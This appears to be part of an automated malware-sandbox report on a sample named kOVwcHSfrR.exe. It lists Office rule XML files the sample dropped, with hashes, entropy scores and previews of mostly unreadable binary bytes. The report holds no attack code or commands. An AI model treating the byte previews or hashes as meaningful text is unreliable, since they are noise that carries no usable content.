Preview:	<?xml...1n.\|.u.^...NT..`.....gA\UW5".0.......\..7...6..b.M....O.gSJ.G.......p.P:.,.O.....U'.....ICC.R.s.....BNmMK. .&..{.....v.`....``To..Q/.,..Y.gl.....h...e....x=...b.`.L..jT.Vt.....;..l.&....e[c.)l..VV...\|..C$_#}-.Z...4#.......'.~.\|$....-..6k@Q.1v.:..Ob.N..?.w....%...9.........Vz.mA.E..~..{.../...`..f4...+.QSQ...V..Cw.n.+......;....O\|Ho2............H\|..........Y.7.................s`$..HK0.....[.....t.p..]..k.%.d...p.......hH.U....-&.....p..%.8.C...S..r.....c.............y]..F.75./..Y..p.@..n.rZ.0F.....$.D...R..-..e.l{~......s'..(.}..h.3f.)=..YzG.j..x.3.xVP...........-9J. ......&.@...Y.Y...?.4s....e../.0....y..5.a:}..j..8mA4..].LGD..B..+.EP~.N5$..+..\|...^T..b[...Y..m...K.\|[.y........xvz...Sv.........[P.>..W.X.......s.j..b...r...R.$.....'wXr@..:z...4wV.h...&..............Z:.U.%...v\|.....9.^..U* .;...c..;qVX..v[b[.ty....b......A)..M.WJ.4........ui\.}.6,p.:\.....o.....b....MzB.qR<.W..."s../1Yu...Y.r..&.B..U.b.....y.Yy^L..9..4....-

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule10803v1.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	4639
Entropy (8bit):	7.955632330524824
Encrypted:	false
SSDEEP:	96:E3JLip5C6pOzCgotHaMpLSArQoOtVxaQqmHcFILE+89AeJa:E3JyvuCgot6MlSArQdAQhcFvkV
MD5:	7ABFCB10623AE6754E91E8A19FBE683E
SHA1:	58C2227C2257DD355033999AE2B222114B93013A
SHA-256:	D50130AD22006BCBE8413E056DC9C809CB983B0CA63450E381A1201446AB3BD8
SHA-512:	05B41306A3FF3253B4A6EF4540074130D4C09A7B8FE5A33F63F60A3E70A2BAE02A3F59FE6E21AA962CD18545FF89B22016D09479B4823352FEF36DDD63444642
Malicious:	false
Preview:	<?xml.S.B.....9^d.N......s.Cn...V.>k.N.....Z...=n......{.Gc..2(nm.;..im&.K...IZ...2.e.."/".5.3.5.-.......a..@...v..m.w.....I..R.....");8-_.....J.PT.d..v.&._.V.`....z.......7..p.;......t.A.v...Zl.n#..D..R.........gx3.t.H..p`......@.^.....9.)....t...G..vSP.PLujd.j..jg.....6.........P.1F..Y....bZ/.L...\.45.B2...s...n...D........>.&.V$.]...'$....O.,..C..\0.....R...x...h?..yL.c.....O;....p.)...q.Uv.:i.lVs.0~ZN.eq.J....y.2..8,....n.+.L....g-..).&=.34.Ma.\V..6...%....M.XU.C...W.R..E..W.C;;....e..W&..DL.n....J.^.Pqw..9.....t...jw.j.2...z...N..kE..(O.ZA....-..{....O..........{........C...n......vTq..S..x+z.\|.,.....Z.<W]z ...........DR...._4,!._....M.b...#.w...7.K..........4....A..A;ro.&Z.v..x.......D)G.7.H:..#\|.`..q.....~...m.`..^.L.......j..O..i..qi.m[.(..p.....m ...a.M?E.~.._....[n. -h...]^z.'.>..~.... .....s+......;gjB...u..h.M..L.E.9.......%.3...e.2..5.z.P5.MBa....:-.U......={Vm..A?.D:h[DU.xB........bc...k.^E.Nx?.O...;.N.........Jk0.1.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule10807v0.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	1329
Entropy (8bit):	7.838483241910988
Encrypted:	false
SSDEEP:	24:movJNDlq3PkTGU7iN8Py/eCRmsOhLFAJz64WVYB6Blrvozhy/xu5NsJ/oXw1bD:m05uPkTGGiaa/vm7Kz64Wu0jrQVyZcsl
MD5:	88B73E4C93CAFA403D2DA4A6560A8DA4
SHA1:	1F2B72B5E8948AD2365C703DEAB0B17C689B704F
SHA-256:	84A26A64838B63F73529785177ABD96CAF07282F8C0A615D16348F48D8E92002
SHA-512:	A68DB97A90DEFC747FE2EFF9F559E41F655D1DA6857C9781E516339B62AE6A4B9E68167B30E26126D4DDF0D88252F8B14D9BDBB45F8C863EE5C48543DD12573F
Malicious:	false
Preview:	<?xml.]Dv.P..+i..o...g3=...._...K......c1H...XO....+..I..a...8S..wo..jX..Z. .\...E..o._...B...zp.P..s...o.q.!.<.:...$......TL...ft...v.,.%...tjp.q.I..u....Yt%._.&k.....jo.m....X..~^.K..B.F.AA.?.).......1.;...;.v.b%.h\.t].F.c.].2..z.C..T..........z&ZAL.B.=V....mA.K.;..\|..Z]'Ec.)S...Y..g\.@o1...v....8aq.N!....)r.&H...5.....oO&l..$..$+.FI....k....F..!#:.........Y.u.i."%7.x..f.'...P....."@...M`.(.mL.9.\i...tS4Xe......&b.n.\|.T.>V:J.n%V\|....6......(D.....v.\|..q.e...?.`....Z..,N.... Q{w..`F...r....0....g.........I.!....s.0.....4........nD.f.2..,..2.W&u...f.......\.....-jB%Z.......m...h..g.......R-..d..,...........=... c_.G..V...f.J.8.GQ?..#j.....Y...T...h....qhr...d..'}...M.#.....-^.....4P....g..............,U..m`%.*.92...$.C.V#%...N5.j.....l......V..4..\|..Q ..Y..\...(.8P...97O.,..8o..V..0y.\|...... ...$.......dA.......w].o'..!.w..F.....n@.).0..+VN.~.k..Lh...h..z<.vzc........}.........gY.BDu_......~..@c......8"..O!..W..k..c.F.7....W...f"T.)".".k

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule10808v0.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	1395
Entropy (8bit):	7.826687496059288
Encrypted:	false
SSDEEP:	24:sapNAPVVowvCt801ltPWxIkA/UDz9ExFOr/e22YB7zKGSxYpMHKUzw1bD:ssMNaFtOxFA/6rd2YB7zhSxBzyD
MD5:	BF82C7B5EB24837EA7A37F9D41803979
SHA1:	2F5B9BF0089295449C8B2299320D0CE72F090FE2
SHA-256:	54E605BB7BFEC40C02BCCF8BE3F70C409CFC6697A5B7A12973C0511278F6FB60
SHA-512:	2250E0B011C7DAF34D3F3F942E297BEEB1F368EC15A76A98150F345729CF8BE7E5F08855A132ADC679A9843265FAC432D7E07EA194853F787FB5B04C2FACDF29
Malicious:	false
Preview:	<?xml......V?5.P+!..%iW.A....i}Bsgc..-..x.N..v..2..N....U...q..h..b........1..j!IM2.._...c8-.S.a...+a0Z../.>[...sU..8..v"C.I...P...a.Op.\|..t[r:..v...Z[........t..1..v'... -q.....3...G..p......g.fp#c.y.......n...N.m.g.....~SB..@I........4.x..>.Bc...'.......z.......c..H.2t...E......cM.UY.(t$s0...r.O..%N....I...`..B..........L{.2...i....}.y.....'.0s/......M._o..rc......\.N,.......t...g[.,....)u.!X7.mi.T..L..+..c.....g.L.-.a?L.<II..)L...8...0tmhZ..]...C.q........WT........Wp.~....<-c 5+.!..erWf.m..3i.\|..8x0...UM.....`......%.p......r..4MP... }M..\|fc.....l..../.....x%.t..H.si..8)..K.64./.x....... ...E&..*P.7<....z..i.......r...W..D.].>.B.t}..c]O..<..V....).b O.=.0"....-#....'..DE....."(D_l19"...^.t.W.I.......F.?K..2R..<2..]...N..c.L8......vXr.r...4...4..3..g...\|No..G..W..X{.5.kI...^......4.j..._8...DI^..c.f. G.N.......j...m.8ct.&..w.AUt...lQ."...C.o..h.........'Dk..o.g.s...+.=..,.X....a....etq)4.......aE.s......M>7.U...fC.>.H.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule10818v3.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	1124
Entropy (8bit):	7.794741300773145
Encrypted:	false
SSDEEP:	24:EuKk7ODXELOYIEQEGSTHK8cRNEN5CYjKsC+koygNRtjkCGlw1bD:7KQUn+QE1H3DC5EygXpLGlyD
MD5:	B06CA4113E953701099C7C9DE18BEB57
SHA1:	C024F5C9706891D5B188D331B0821FE571BB5B99
SHA-256:	076D09E55A08036C257E18F3E8AA261850A73C1FA8BB3451AD62F75A39A97CD2
SHA-512:	69000A6C3F2AB21A41C6DB5BBA012F3261CAB99B29932B7E9C5C0277E992646B5292F11F3CD16FA606B291ADAE72BCAE845668C8D0DDF1638AA6FC439ED0ED98
Malicious:	false
Preview:	<?xml"^'..By..;R^.@.U!#...:...y...).3N...X.DIEF.......9.q........_.&.v9D>.7.k...S.....;.[......r.G.....kz.~(..Rc.T..D.n.Im+7....a.+........7.d.{ON...}@....`+I(...&.w....qXF..L.-.F.Ru.'.Qr.......4.Vs.x.F.ft+..........I.p.....l.I....\..n..L.......8....}...NW.././p.......uV.4!.<gG\....UR5w.6Y.-.&..../j%m....O.P....he.x.&.@....0..M.v....\|.....?w....~...}....F.y.E...>.u....F 9..a..(B.Jx..;4Tu.+,[....M.....Y.8....#......0...#`ri6....^>..F.......R....V2.W.....54.G...XG.....]Q.8..r.)j$..m...H.!OqR.8s....7.#.....W7<..V..R.Z.o$T"..P.)...S.s$.Q..{>{Mru.p....).......f....jd.XM..}).Z..HPtS{>x#......y.....\..Fbe...G.J..q..`.).V.)..vU........R..`........W.P..W...g..7..U....s....+..+.J.y.lM....#9.r.731..@.].&~.C..{..R)........o..x,..0..^G*o.a.n....A.. ...3....I...Q...{.]..4x}g......5.gc.....b..xj...e......F.6}6..Z.V..J...P^.R..v..z.......^..............\|c.q..d..I..~.-.. .S.U......D......}.uZV8....poqC7EHb,....)..%)Rmj[q..tk~..x....T....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule10819v1.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	8769
Entropy (8bit):	7.981116815865194
Encrypted:	false
SSDEEP:	192:f5Q4NEjWDvCvbCSe+vdm56UELhDErNlEMlPBlTX+cNhF/LCoz1mb7:f5Q8uWwCSe+DRLlcNlEMl5Fuc/F/Wozg
MD5:	F5A97D7882881776990783E0431A7B8D
SHA1:	81CE19EDB67C376C90AECCD70D275EFB4E5362CF
SHA-256:	2B18FD8AF090B33A3641812D55B67FF773D78142425C4FBBB441A3AC9A246C25
SHA-512:	ED479D675A59418BAC2FFBDC607252F4876EB2CAE2C7658438D73627DA66FCBDC560BA0B0BB1296CAA1B2C68F83B6E2DDD33DC547FCF2EA2D8D1E68A311D60AC
Malicious:	false
Preview:	<?xml....A.v....R..%.9.O."(1.wU`...S...Q..R.Y./.=h..,w..L.q=.RH.A..&...]D.p.....U./X<.hi..o..b..oy.\..#...q.~..q.B.)...BZ.-.o<.:..?\|V.Q<...yv..?.x.x..P..Q..m....=...P.{<.T...s.G..U....l...:.6....?.x.<.k..e<=.....j..3.R.Y...n..D.....U..C.n...\..g....5xT..X..aX. ".N...a....1..InX....CO.#.._.jg..s...o.Ra.%U<..2=....U.u..Q.....[......9..+..(...ZfF.....Ke.t.f.. Jk.f....-i...C%..~..,..5.9).pU.'p(..%..P....E@\.Jxp.D...&UZ%.6.9_.'L."e........`Z.n.<.A<g......(,..G.;.N.R.3...t5.a.L....~X.eRa.6u/^ ./c.'..<.Z.......'w.~..{.;.....W=..'E..#..(....hD.D....c^K.vJ .'?.....R..Z..%8.^.EA^.h..n.]..Te_../T..... .."..vlJ1.."..~....x.J...........e..4...:az..._\|......A.I.N........=.Y..........R.....V......[.{sHo...\. .a...%.0V.).b.I.E....5{L.y..E...JA.{.....Z....2rHX.O.).g.=_v.Ja..B.....&.....V..{..l....$.}....C....}.........n4c4G"zc...i.w.f.V.H....[=e\|...P.9D..G@v.i.X.........W.}..d......P./..d"~.....kI.F....N.D[y5..+.*.....S..!7.qM............r!.[c..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule10820v3.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	5842
Entropy (8bit):	7.970463177667099
Encrypted:	false
SSDEEP:	96:1PRKyg1q82A20ul3Qd6eI+UarN6aetVL2UyUM4cQr3LIb0SuMFqCRS9/KVP7HElH:1PRrB82A20ecjU4N6aQ8hBQ7V8dV7C
MD5:	1976AB06A104E382C543C39C667CF135
SHA1:	A120811E3BCAC9C32E3FA475C25E1B559A32B3CF
SHA-256:	CE8612CD631552DA678D111D224B791722E69111F58E20FD1D04FBE96CE2BD66
SHA-512:	0FDBD4907270F44B9970C85FD5F140C5BBF47F4BF3FFFB24C524FFB49F57552D9C5BA92E2327D85DB66479C910789405259AF10AFEE415CC30FAE3CEB0DEE93C
Malicious:	false
Preview:	<?xml.1..h.^04...~.K.M!.j...~&.....`..<..>Q..%......7.+...M.S:.Q......}. Ud.U..qr#.9.$.[.=..a.6..V.....\......../.......? .x.2..qu.A....v.X.L.....,y...R<.}...w>.s.#M&.i..[;1_...OZU.@.M.../l..7.+6..W>..F{@.yO..#n.....L...=.-:q.H..CD.Hr..v....... .Zc.G(.DQ......G;A.o.&.../.E..N8.6..f./c.s.s..a.Z.@O.......$.m.be...)...\|HR.~./M.....r. ..{.&..vO`.m....2.Y.Ky.... .N/a.....F4.......[....#F....K.--".W@..z/;d.x....r..uc...R.b.eX.5._..;.....5.^.0....e._.H50.?.i ....T.^.Q..DK...E...m...o. .N.....nI4O...$..S+m\....L.Z9JK.........#.....Py%.;.....~t.....<.m .5.....(s...C...K.6.P9lU..~...X..~.m.d.e...L...........D^...\|H..R.....Z....%[^R....C8.3..QG.1u..Ih..z).j....>mj'..u..{.[.30q..E.RSac......e.m,_...z4....Q.?......-...eC..5(.C.=#..N.}s.!..f.Y,a..7.3..E..u.Xl.+..(e!..k..S...H..8.'..0y4j.}...1.s0>c......"E.-$..=......`?K.,L..W.@.{..0F.IZ........#o(Y..@e:.P..9.g...s4....XJh.-...l...L/....._....t.......12i.<..?Bc.........ps..1.x.#.c.Ch...>V.b..p....%i.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule10821v3.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	4787
Entropy (8bit):	7.9614828973462135
Encrypted:	false
SSDEEP:	96:d8j197qDYa+bokRa3xjHsFY+gHCEYx2sg6sEJNRXO7aM7RSoMHWdvlU24UX3+az2:6BEka+HEl0YlHYrJNRXwaMQooSLR3+aC
MD5:	CF4165CB78E158B859C72E35F6E511AF
SHA1:	A679F10399359C24E868BF8BDA0147AE48342549
SHA-256:	D715B8D7D0E6ACF6BB4D0BAE08E3C65488C7A37D2383B9EE3BF99A110EA95F80
SHA-512:	4C0F329E6AAA7C0312E4D49F825133FE86036DE12E10330950C83C699B8B9C386FBA951749D8894DEA168DC3C848FEA4480D8F20695385B422FAA765F34CA405
Malicious:	false
Preview:	<?xml.kA....@....R/.yK..d..G.<=j..q)..e..o.s.......`...6.z...................ZGwG.h..<7.E@.N...bB.=R.y{H.>...S?.?.0:..6.}lX...}..-.o'.........kjX.Q.v5.:[...se.W\|@} ..x.."..\.....G.W6.W_#9.....c...)...cL...k..#nk..5t..rh...v_.E33.x......:.T@.A.u@/O....w.X0!~..;..x...\|.d."./ ..%0.--...yC.X.E../.B~.......{\Z.$....>..N.A....u#..[CW..a...V.S.PL ..........._.4W"0[6.&.v.r.K..E..P..$$.f.Xs..M.!.....4.U...a..8.71cm..EP.N3.. G..}.Wt...YX...SIjI..y..5.q?.s.Wve..Bl.P.........Z./...G....9..........8..f.......u.%.j..P..?u.`..#.vK........z.=S..q...2...s..b..Y9~.........v0W..+....q..7e.i.t.......M...5.sT..&....>a.Pi.Yq ....@.&."1..s.V..d......'.d.@`.eLt(M...'..c.M...+..7.Fr...Ll......&.8<...F.........v%.U..$.q..Q.6..eqr.x....<T.\|\|.;.4..s0.........0D....7..$k.3......jy.q+...j.Z.L=....Q.......w....G..... .?.(...s....g.u.'.../.>$...p...?."..a...p..Y.._.H.....~06...vP.dx..>...kL. 3"......'.dP.p.%..5..v6.PI..-...s\O.181.....9*Vo..Zq.....a.$y'....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule10822v2.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	4786
Entropy (8bit):	7.961555530537275
Encrypted:	false
SSDEEP:	96:Guzf3lbQ7HNSGapfap1jL+btXsCUGIcoMVEQW9TmWo1Ca:zTRgNBaNav+hXjUGIKnW9+1J
MD5:	490C3C1E8F277BEB0828B45FF84770CD
SHA1:	B45482F18A6E750E9CA59A88EE5F183E4CE0D310
SHA-256:	828EC67CCF46392B7B879B75B59339E6F479F9BE31AFA7EF86722364CAF852EB
SHA-512:	F72C3CEB14A813FAE525922C4A3DB46A9AF14257F6FCFDC77F41C41E1E5E5D6276E21D0C9A1424882D4588A9B5CCF8851564EA42ADF53F9140CA77F1D7E51C8C
Malicious:	false
Preview:	<?xml...B..X.lf3Y.....EYq.......B>...i.H...t....@..Z).#..........<..(...y'~.c..;.......x.K2Y..........z..U..e.z.P...........A@..{Po<.T.Dz!R...'.)8...3.i.F.fm7....G3..u.@....[%.2K..9..x......7.'H%.=+.p..d...B.,a'O.....gq...9..=M.aF..,.....B.q..8u;..9..-.m.4D.%a...E^..K...}...K..:......t.o.D.C.'...FV..C(...F.sP.<U.d.w......pGk.....o.9VL.{.1V..[....@.[..{l/...4.@+...........Tc....L!&..;...GM3..%.....%.X...m..v.......6......}.c......._...p+$...K.M),}.f..'.I..;..L....4.....u.#....c....[}.C.1.....#..xdFk1.g.......V/m....:N.3....^{...{.. ~...hkc.".`q..##n...L.g....-z&A..x2.#.."D_M"~;..t..v..w.7../........9[H...w<..;a..e..._.u&..N.}.E98u.....F\|....5o....\|.ef4g.n...&......d.T].7.#.......m....L.=...n.F...7"...-..B'..7Bw....9i\|X.....E.A...h...{f.&..tG}..C'g.,........5S.&.0...\|.j.9+...jg5iX.n~..'.4(.S..m........k...?A.l........i.k...j.x.....h.^.a....r1:.^....W.B.5......i......]O....%.%.@.q..e@....vm^.^.-.P...pt.j..M.;...@....h.....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule10829v1.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	3030
Entropy (8bit):	7.949527513415343
Encrypted:	false
SSDEEP:	48:NW9tNhmar9bM6+ZPKg1K0TjWWGm/Sdmpv4tfjRjbM9kLcUYqACsFKu1mY23XU+wH:NotaE9Y1K8KqVGKpgtd09kLcUufZS3Xo
MD5:	B14085FFCC42E15233518DB3647E5C81
SHA1:	B785A64D582C7FD479DCC6209BAA0AFB8AFF7F92
SHA-256:	83B76B61B52F3D15CF0051F24EC55CAFA5CAA4813A6D969C6FA0B0511666BCC7
SHA-512:	2C26BEEC2494664FC2BF8FD4D3B386D4D156FB6FE894A5B8834EAB39CEAB53702C150BE122581C4244BA47E8AF16F09C1A0B8551DBC20AA302653C71D5D6A07F
Malicious:	false
Preview:	<?xml....IU{.e.......f.j..o....F..v....^z..L.q..r..z..V...,.3.<...U.&..._.qBH.....fCo......6>......L!..O......k.@Q...9...~....L<QcO..,+..f...Kr\|%...#......%..t&..t...0.I.A..q...'q.pk...-9........B$...(/..or...9......j.....?..O..s...R....c(uB.........K_q.......].9.).\|o...;d.S.....x7#v{....}.....fY'...v..U.'..n!...d.5.}@..@!.......5...0.O.......[&....N63.<~..u.y@..x.......&..?....b..Zg.....&.....4.xqw.b..Z{L8>...m.....*e..U...?..y.......C..;L....t..w..h..-..2....5....t...}.@.e..>XZW3....d...J.gT.\...f..H....=;p...}....h.\.d.L7....R;..#:...0.M...z.wF......f.j...9+.6...5.+b.a..J.4..eL....;0..i...S...j.1...<.1.=...]..[..P.\|..nk]....!.&je...Q.....r!.7su.JFo..7....%..-R..(#.<...bkg...F../...+.==5..w...M......N.G.9.f..].B.j...0...3..Ur.....0Fls..O.......J....2\a?>S.A.W<..v.l]..im.wb!U.N....eSb...j.X.{.WA.jW..1Z.'.".<....x.}.z[. .!.{.\B..N<...u.@=..J.G...A.F..(Z....h.M.E.=.....^j....6r..s....wP....-....UQ+..>....G{...;..+.#...X..@....'

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule10879v0.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	789
Entropy (8bit):	7.765814819381981
Encrypted:	false
SSDEEP:	12:5dme1bAkVYlhIm/p0xwdDR1wF8aQ2f9e12hZl2VEBmmjJwoqw1cii9a:vrVYnRWwdDzs5jVe12Pl2VEBmuJww1bD
MD5:	5ABE485DFBE7865056C97AEE6DB736C8
SHA1:	C5771752F58F1192C912ADAA10954A5B971F5727
SHA-256:	D8A33A9E511DC50D8EFE2DFE1C198C1B397C01616AE940C0D04D379D9103D01F
SHA-512:	13EE267021383D7322BE3971E3827AC69FF6F438AE8CDECEDF4B5D3C8AEFB838421AFF41BD96E37502688E3FECA47735B3598A3F002F42A946AB497E80860B89
Malicious:	false
Preview:	<?xml.{.....\|.9........0.{>#...)..qk....+..O.6t.H`.....l.......x..h3..H4.L...G......S........%.....Y.v.{...h.P.j..U\.g...9k...t..X..!...j..".+rD..nK..7......f._...........d@9N.%8...ka>.6y;..Ok~.Go..F.u..wE..5s\|...^..'...#q.W....H.5S..&.H...sT..Xm..^..M4.v...:... 7ym8m....e..I...a[...[.....uT...cK...U~..y....j.2..b....}.U....;...P.e..j..uU.+F/.B.ch..n}.....7.!..'G.W....u.;h...zAL4P.<....lVA.%...;w...&#.l3....?.\.?.3...$m.6..x........'.*)e.........T.?..].iUl..J.(.h.. .:..7...8V.J?&......O..?@......Q.Q.........\..u...Aw.U....wK...{ZP.kSC....d.p.F.=!........]P.<..........s.......7_I..3...iT.......b.Q..w6..C_a.$..q.0..V.O.<....2#.E<F.M ..(.lR@..J....-6....c.:H..P.\|Q.TkVHfCIIwaAyDJuFpBEgzIZgY7IXD6C9ormRAzIf{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule10880v0.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	3017
Entropy (8bit):	7.943319305425695
Encrypted:	false
SSDEEP:	48:qyBiaXzAb1AtOXG+XbaxbQdHM0SVDjkylr3bTEb3Hyz73vjcq7BborsKPS3GyD:JBiaXEb1GOW+Xba9T0S2I+Sz7//xCS31
MD5:	631586544DB17545F04C5B3B8A993F37
SHA1:	2EF89044D6D38A60995278557128F40DC2AB587D
SHA-256:	7C05097E0C5CED072C942A4FAF8BFB5FA5E13AAC590852C39F1F4EA8916016C0
SHA-512:	8648BA7324316E63C794C9AFB4E9535F8538F4A92500B853952F55C84A5F934BB3C112E43ACAC9BC33B201FFABBCC2769F5CA0D341E78C23BD734AF91B24F766
Malicious:	false
Preview:	<?xml.......B..b.9..........g..-....d.Jm.J....7..C.....(..{...&...J.(]....`K)..X".&..q..r....s15.RD=3...../.s..c'.'...X.F....s....9....n.$.].>..J..YL..eT.....`.h.......Gz.K.>..T&.."......Y.&...P1ZZr"iw.v.../......^,.....p._G.[..4.....qFR}...:'h?7t;..el.m/. .Ur!.sl.......Z.c..._....Y.\...q9..;.,.e...7^..Unk..."T...c)..k..,%.E...u...ap...8.E9....~.......m.H]..g.)@.......#.Z5sP.k.=. .`.1...eQ.%...E.......^..5..y....q..]v%.:l.e...(q.2.g?-.f.2KS... cJs....b.b._..ox.=1.jN.....R..W....(...jS+....yD..o.VE,A..N.."...<........v...)..P.......T.[..272.....8...e\y.k..a.-..._J..g.8r...x.v.p.M.o?v.Rn..j..a..O.\...'..t.K..1..HEf.2G3......=y[...{)..9.r.^.}[....xv....<..... ...Se........"G....}.x3....j.U..S.6.k6z.."...........x.Fr.....*....K........~..C.[......O..cD...[..[VY..Di...'..n.q. R..ne&.K....\|.......3..)%...b..<%..........}.p.B.........]......$Lu..6^mF...IM.&...`..ky{.P.V3.I0V./.Zj2.#5....<....x...l.If.N..x.IH.h.Xlh..P#..D2.!k.I..22...3 U...].r.R.+

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule10881v1.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	823
Entropy (8bit):	7.715636667887643
Encrypted:	false
SSDEEP:	24:rnSNZwWJX28HxS8MhNdMaJfQpPS6ow1bD:WNZzX2e1Mh2pK6oyD
MD5:	55DD6A557C9F371E490CE3707C38E359
SHA1:	0585EC8E36EC230911A2FF5698B3AD8A6C56FF05
SHA-256:	9AE8788EC7C1EBFB42DDDBA054ACA0EC0D2DA76085CC48D685F75A0A821BE198
SHA-512:	EE89A00FA05A63E5D3545C2FBC7D91F40088EF80CE928AAE724C3CB4AF885A0627509455368BDF450F4B9932DCB439318ECBA45CF80C477704F7C290730BDE98
Malicious:	false
Preview:	<?xmlc.y.G...P..1Q..2...{.Y....{...^\|.0M.G..H.{\)y..:..a.1...B...(.."..."G\.@$P..5....j$Y...,.~sw...>Fm.5@..)?...v"\|9.....IZ+..%Q......H.(..S..Z9\.%....W..9+..p...*3...46.m.Q.....\|(...I......S....U..`. \|'..9_.l.OK....R r.Z..}.&!.M=...Y`.._.3......>..LI..]@.S....j.e.}k...R.8..f...$r.%y..j...'..1.L..B^..(.o!..L...[....(/Z\)DJ.\|.7.:...D.i.f+......a.`.d.2D.dsh.~.t.. F...,3......E..I.u...'714.m....Bq.....)..t.k....AS......i'.V...{....}.Z.G..g...5..$..J.<.~fo..7N..z...k........Zpi.)...gU/\|...z.$.H.`M.q..&...2Q4l"..Z./wZ<.a).g'-)1I...F.%-T.....Y.i. .../..U..C.R.....X...%.E..Px.L.t.@.w-n..w..g.....'.N.?P9.....).f....W.<....kg$.A...[{.....\|.[.1.F....`..G.F<...2..v...._.0..YM..l....T."..S.i..XyY8.TkVHfCIIwaAyDJuFpBEgzIZgY7IXD6C9ormRAzIf{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule10882v0.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	3017
Entropy (8bit):	7.934000116815137
Encrypted:	false
SSDEEP:	48:MpHzcHvCfH2INc5RQYS+0EfZZQdiRXnNgS7d3KrJzv4lM6zKf7QB3Lr5esvY6qyD:IH4HvCf5q5RBFf7QIXniS7d6rSM6zKoV
MD5:	BA125C7A7B112C64AF3CFEFB479D1AE1
SHA1:	D907490D7721AFD39DA134A3D1A7350DA6D672D9
SHA-256:	7A55C9BCDB7F3620832E7D5D15D6F3E87E69E97BA41DDFCE3ECB287E8D1043CE
SHA-512:	E8DCB7A3EC30DBF972AA14BE062AA56ADC9ECCE7CE350F4677C4670F4B7775884C091C5874B7CEB431F615E3DB80B3B3C0A99D29DDCC2A55E402BB99C42BC663
Malicious:	false
Preview:	<?xml.>......d....JA...B......?..=#.F..\|.S.....S....k.....Gk@.....M...$o.;.../.qD..ij...........DH..._...#d.<.gJbM}.J......[.h)."2B...R.<..[[..a1Pa/...A.1..p...);.#.4.........z..?.H....[...y......l......p...%._.........../w.4..aq...!hb....:..7u.q..L...l.K...r.v...B...7....?..D.......nv8!.y.!K.s..Ej.B\..o....4.by..5..aD..xb.b...jV~...o.,X..6;..1.3.v..$....$Q....h...%.o...dU...\.6....b.....~........8JE.V(.Mp)...muV...CC[.epU..r!........\C......L...\nxH+.J..wq.L#..../..~fcXmC..{kj.$.......\..<5...U".%/..c......<..i...L@."D....P..=t.u.8.,4.`^...ey/...i...e.....9ee...'..S]..B..H.......j:40.3..4.>29...3=p..\|j.a.r.0b....v...I.....h..~...KC.%4....[..`fL\x.~7..4fg^-.{H.I^..g...6.58..<..lw..sA.~,..L.b.6~.h....2-..d..T..w$r.~...c.{.2..........^..%x.K..k.......3...k...U..Z.)......J..fl.....A...j2Q@B....^....7l....T....N(8..[.?wt..\#.6Z./...vE&....Y.........(4.....)!j+p.W.V3....;RR.U.G,.Ww]......r.YD....ih.n...'.Z[...L...;..TTUY../..&...n.. ..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule10902v0.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	1021
Entropy (8bit):	7.761154298603352
Encrypted:	false
SSDEEP:	24:pqgMrr/B+SScnBgF/36Y0AecP2yM9XiHyUKVYpS5uw1bD:pqgMf/B+SSfF/36NKO5yHfKypJyD
MD5:	F2B417A97C79D684D8BB93E92AAE9DC7
SHA1:	5A3F1289BBD1093420B615BBE67CFCBC8B6D6653
SHA-256:	1D7CE8F755F6FE3489C1C02EE2E0AF23B4CC7DE435FE18069E5B073463F1D0FB
SHA-512:	D00F9001BE0DF9B43BDC40675A1F208CE858B2210D6E3ACB59CDF43C5E91D13DF52B90C4BAA845547206AC9830037C6A6778C7524315D9BEF31F4A4EE68F1D8F
Malicious:	false
